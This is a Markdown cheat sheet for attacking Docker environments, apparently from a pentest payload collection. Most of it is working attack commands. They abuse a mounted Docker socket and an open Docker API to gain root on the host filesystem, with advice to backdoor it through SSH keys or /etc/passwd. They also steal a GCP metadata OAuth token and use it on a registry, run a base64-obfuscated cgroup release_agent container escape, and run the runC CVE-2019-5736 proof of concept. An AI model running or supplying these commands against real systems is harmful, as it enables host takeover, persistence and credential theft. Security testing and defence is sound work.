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132 lines
6.6 KiB
Markdown
132 lines
6.6 KiB
Markdown
# Docker Pentest
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> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.
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## Summary
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- [Tools](#tools)
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- [Mounted Docker Socket](#mounted-docker-socket)
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- [Open Docker API Port](#open-docker-api-port)
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- [Insecure Docker Registry](#insecure-docker-registry)
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- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
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- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
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- [References](#references)
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## Tools
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* Dockscan : https://github.com/kost/dockscan
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```powershell
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dockscan unix:///var/run/docker.sock
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dockscan -r html -o myreport -v tcp://example.com:5422
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```
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## Mounted Docker Socket
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Prerequisite:
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* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`
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Usually found in `/var/run/docker.sock`, for example for Portainer.
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```powershell
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curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
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curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
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curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
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```
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## Open Docker API Port
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Prerequisite:
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* Docker runned with `-H tcp://0.0.0.0:XXXX`
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```powershell
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$ nmap -sCV 10.10.10.10 -p 2376
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2376/tcp open docker Docker 19.03.5
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| docker-version:
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| Version: 19.03.5
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| MinAPIVersion: 1.12
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```
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Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.
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```powershell
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$ export DOCKER_HOST=tcp://10.10.10.10:2376
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$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
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or
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$ docker -H open.docker.socket:2375 ps
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$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash
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or
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$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
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$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
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```
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From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.
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## Insecure Docker Registry
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Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.
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```powershell
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curl https://registry.example.com/v2/<image_name>/tags/list
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docker pull https://registry.example.com:443/<image_name>:<tag>
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```
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Access a private registry using OAuth Token from Google
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```powershell
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curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
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curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
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docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
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```
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## Exploit privileged container abusing the Linux cgroup v1
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Prerequisite (at least one):
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* `--privileged`
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* `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.
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```powershell
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docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
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```
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Exploit breakdown :
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```powershell
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# On the host
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docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
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# In the container
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mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
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echo 1 > /tmp/cgrp/x/notify_on_release
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host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
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echo "$host_path/cmd" > /tmp/cgrp/release_agent
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echo '#!/bin/sh' > /cmd
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echo "ps aux > $host_path/output" >> /cmd
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chmod a+x /cmd
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sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
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```
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## Breaking out of Docker via runC
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> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
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Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
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```powershell
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$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
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$ docker run --rm cve-2019-5736:malicious_image_POC
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```
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## References
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- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
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- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
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- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
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- [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
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- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
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- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md) |